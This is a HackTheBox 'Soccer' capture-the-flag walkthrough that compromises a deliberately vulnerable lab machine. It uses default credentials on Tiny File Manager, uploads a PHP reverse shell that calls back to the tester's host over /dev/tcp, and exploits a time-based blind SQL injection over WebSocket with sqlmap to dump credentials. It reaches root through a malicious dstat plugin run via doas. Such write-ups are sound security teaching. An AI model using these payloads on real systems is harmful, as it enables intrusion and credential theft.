6 minutes
HackTheBox :: Soccer
Creator: sau123
Machine URL: https://app.hackthebox.com/machines/Soccer
Difficulty: Easy
Initial enumeration
We start with an nmap
scan.
# Nmap 7.93 scan initiated Sun Mar 26 01:09:36 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.94.14
Nmap scan report for 10.129.94.14
Host is up, received echo-reply ttl 63 (0.034s latency).
Scanned at 2023-03-26 01:09:38 CET for 28s
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChXu/2AxokRA9pcTIQx6HKyiO0odku5KmUpklDRNG+9sa6olMd4dSBq1d0rGtsO2rNJRLQUczml6+N5DcCasAZUShDrMnitsRvG54x8GrJyW4nIx4HOfXRTsNqImBadIJtvIww1L7H1DPzMZYJZj/oOwQHXvp85a2hMqMmoqsljtS/jO3tk7NUKA/8D5KuekSmw8m1pPEGybAZxlAYGu3KbasN66jmhf0ReHg3Vjx9e8FbHr3ksc/MimSMfRq0lIo5fJ7QAnbttM5ktuQqzvVjJmZ0+aL7ZeVewTXLmtkOxX9E5ldihtUFj8C6cQroX69LaaN/AXoEZWl/v1LWE5Qo1DEPrv7A6mIVZvWIM8/AqLpP8JWgAQevOtby5mpmhSxYXUgyii5xRAnvDWwkbwxhKcBIzVy4x5TXinVR7FrrwvKmNAG2t4lpDgmryBZ0YSgxgSAcHIBOglugehGZRHJC9C273hs44EToGCrHBY8n2flJe7OgbjEL8Il3SpfUEF0=
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIy3gWUPD+EqFcmc0ngWeRLfCr68+uiuM59j9zrtLNRcLJSTJmlHUdcq25/esgeZkyQ0mr2RZ5gozpBd5yzpdzk=
| 256 5797565def793c2fcbdb35fff17c615c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ2Pj1mZ0q8u/E8K49Gezm3jguM3d8VyAYsX0QyaN6H/
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
9091/tcp open xmltec-xmlmail? syn-ack ttl 63
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sun, 26 Mar 2023 00:10:02 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sun, 26 Mar 2023 00:10:02 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 26 01:10:06 2023 -- 1 IP address (1 host up) scanned in 29.63 seconds
Three ports are open: TCP 22 for OpenSSH, TCP 80 for nginx, and TCP 9091 for unknown service.
We add soccer.htb to our /etc/hosts and start with the web server enumeration.
nginx – soccer.htb
We are greeted by the website for HTB Football Club.
The page looks static and there is not much to discover.
Let’s fuzz for directories, files, and subdomains.
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt -ic -c -t 400 -u "http://soccer.htb/FUZZ/"
...
[Status: 200, Size: 11521, Words: 3512, Lines: 97, Duration: 80ms]
* FUZZ: tiny
...
We discover http://soccer.htb/tiny/.
It’s an instance of Tiny File Manager.
Default user credentials are documented on GitHub.
We can log in with the credentials admin:admin@123
.
And we have file upload functionality!
RCE – File upload
Tiny File Manager lists file and folder permissions for us in the Perms column of the WebUI.
We quickly discover that the path tiny/uploads is writable for us.
Let’s make a PHP file with a Reverse Shell payload, upload it, and execute it.
PHP file with reverse shell payload
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ echo "<?php system(\"bash -c 'bash -i >& /dev/tcp/10.10.14.73/443 0>&1'\"); ?>" > /tmp/fluff.php
File upload
- Navigate to the upload page (tiny -> uploads -> “Upload” button).
- Select our PHP file for the upload.
The PHP file is successfully uploaded.
Note: there is a cleanup job that deletes the files from uploads.
You may need to repeat the upload if the file is already deleted.
Execution
- Start a reverse shell listener.
- Navigate to http://soccer.htb/tiny/uploads/fluff.php in the browser.
We catch a shell as www-data.
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.73] from (UNKNOWN) [10.129.169.235] 38936
bash: cannot set terminal process group (994): Inappropriate ioctl for device
bash: no job control in this shell
www-data@soccer:~/html/tiny/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data
We discover another hostname in /etc/hosts and nginx configuration files:
www-data@soccer:~/html/tiny/uploads$ cat /etc/hosts
127.0.0.1 localhost soccer soccer.htb soc-player.soccer.htb
127.0.1.1 ubuntu-focal ubuntu-focal
www-data@soccer:/etc/nginx/sites-enabled$ cat soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
Let’s add soc-player.soccer.htb to our /etc/hosts and check it out.
soc-player.soccer.htb
We are greeted with the same website we have seen before at soccer.htb, but with extended functionality.
We can register (http://soc-player.soccer.htb/signup) and log in (http://soc-player.soccer.htb/login).
After the login is successful we are redirected to http://soc-player.soccer.htb/check.
When we enter our ticket number in the text input field and press Enter, we discover WebSocket communication with TCP 9091:
Let’s play with the id
parameter.
I will use wscat to communicate with the WS.
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ wscat --connect ws://soc-player.soccer.htb:9091
Connected (press CTRL+C to quit)
> {"id":"63448"}
< Ticket Exists
> {"id":"63449"}
< Ticket Doesn't Exist
> {"id":"63449-1"}
< Ticket Exists
ID 63448
returns the valid response, 63449
– doesn’t exist.
However, 63449-1
is a valid ticket again.
This might be a sign of a SQL Injection.
SQL Injection in ws://soc-player.soccer.htb:9091
Judging by the output, even if we have an Injection, it will be blind.
Let’s use sqlmap-websocket-proxy – a tool to enable blind SQL injection attacks against websockets using sqlmap
.
First, we set up the proxy.
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ sqlmap-websocket-proxy -u ws://soc-player.soccer.htb:9091 -p '{"id": "%param%"}' --json
Now we can run sqlmap
as usual:
┌──(fluff㉿kali)-[/opt/ctf/htb/soccer]
└─$ sqlmap -u 'http://localhost:8080?id=1' -p id
...
[03:22:32] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...
---
Parameter: id (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 9774 FROM (SELECT(SLEEP(5)))Dujl)
---
...
And we find a Time-Based Blind SQL Injection.
After the enumeration of databases, tables, and columns, we dump the credentials from the accounts
table in the soccer_db
database:
sqlmap -u 'http://localhost:8080?id=1' -p id -D soccer_db -T accounts -C username,password --dump
...
Database: soccer_db
Table: accounts
[1 entry]
+----------+----------------------+
| username | password |
+----------+----------------------+
| player | P<REDACTED>2 |
+----------+----------------------+
The user player has reused this password and we can SSH to the box with these credentials:
┌──(fluff㉿kali)-[/opt/ctf/htb/_completed/soccer]
└─$ ssh [email protected]
...
player@soccer:~$ id
uid=1001(player) gid=1001(player) groups=1001(player)
player
Grab the User flag in /home/player/user.txt.
The user player is not in sudoers:
player@soccer:~$ sudo -l
[sudo] password for player:
Sorry, user player may not run sudo on localhost.
But, there is doas
on the system:
player@soccer:~$ doas
usage: doas [-nSs] [-a style] [-C config] [-u user] command [args]
The
doas
utility executes the given command as another user.
Let’s try and find its configuration files:
player@soccer:~$ find / -type f -name "doas.conf" 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
We can execute /usr/bin/dstat
as root via doas
.
There is an entry on GTFOBins for dstat
.
Privilege escalation to root
/usr/local/share/dstat is writable, so it should be fairly straightforward.
player@soccer:~$ echo 'import os; os.execv("/bin/sh", ["sh"])' > /usr/local/share/dstat/dstat_xxx.py
player@soccer:~$ doas /usr/bin/dstat --xxx
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
# id
uid=0(root) gid=0(root) groups=0(root)
We are root!
Grab the Root flag in /root/root.txt and we are done.